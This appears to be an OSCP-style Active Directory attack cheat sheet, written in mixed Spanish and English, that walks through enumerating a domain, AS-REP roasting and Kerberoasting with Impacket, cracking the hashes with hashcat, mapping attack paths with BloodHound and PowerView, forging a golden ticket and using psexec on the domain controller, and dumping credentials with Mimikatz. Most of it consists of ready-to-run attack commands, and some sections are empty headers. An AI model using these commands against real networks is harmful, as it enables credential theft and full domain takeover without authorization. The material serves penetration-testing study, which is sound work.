Active Directory Cheatsheet (OSCP Edition)¶
0. Mental Model¶
En AD, no buscas "una falla" en un software, buscas malas configuraciones y abuso de privilegios. Ciclo: Enum Users -> Get User Shell -> Enum Domain -> Escalate (Admin/SYSTEM) -> Pivot to DC -> Dump Hashes.
1. Initial Enumeration (Sin Credenciales)¶
Si tienes acceso a la red pero no usuario:
# Identificar DC y Hostname
nslookup <IP_DC>
nmap -p 53,88,139,445,389 <Target_IP>
# Anonymous LDAP (Raro pero intenta)
ldapsearch -x -H ldap://<IP> -b "dc=htb,dc=local"
# Enumerar Usuarios (ASREPRoasting possibility)
kerbrute userenum -d <domain> users.txt --dc <IP>
2. Exploitation (Sin Credenciales / Low Privilege)¶
ASREPRoasting (No Auth Required)¶
Si un usuario tiene "Do not require Kerberos preauthentication":
# Impacket (Desde Kali)
GetNPUsers.py <domain>/ -usersfile users.txt -format hashcat -outputfile hashes.asreproast
# Crackear
hashcat -m 18200 hashes.asreproast rockyou.txt
LLMNR Poisoning (Man-in-the-Middle)¶
Si estás en la misma subred (Pivot o acceso directo):
3. Post-Compromise Enumeration (Con Usuario)¶
¡Tienes una credencial! Ahora mapea la red.
BloodHound (El Rey)¶
Desde la víctima (usando SharpHound ingestor):
Descarga el zip, súbelo a tu BloodHound en Kali y busca: - "Find Shortest Paths to Domain Admins" - "Kerberoastable Users"PowerView (Manual)¶
Import-Module .\PowerView.ps1
Get-DomainUser -SPN # Busca Kerberoastable
Get-DomainComputer # Lista máquinas
Get-DomainGroupMember -Identity "Domain Admins"
4. Privilege Escalation & Lateral Movement¶
Kerberoasting (Service Accounts)¶
Usuario válido requerido.
# Impacket
GetUserSPNs.py <domain>/<user>:<pass> -request
# Crackear
hashcat -m 13100 hashes.kerberos rockyou.txt
Pass-The-Hash (PtH)¶
Si tienes hash NTLM (no la pass):
5. Persistence (Golden/Silver Tickets)¶
Si comprometes el DC y dumpeas krbtgt:
# Golden Ticket (Acceso total por 10 años)
ticketer.py -nthash <KRBTGT_HASH> -domain-sid <SID> -domain <DOMAIN> administrator
export KRB5CCNAME=administrator.ccache
psexec.py <domain>/administrator@<DC_HOSTNAME> -k -no-pass
6. Herramientas Vitales¶
- Impacket: La navaja suiza (Python).
- Mimikatz: Dumpear credenciales de memoria (
sekurlsa::logonpasswords). - Chisel / Ligolo: Para traer tu Kali a la red interna (Pivot).
- CrackMapExec (o NetExec): Automatizar ataques a toda la red.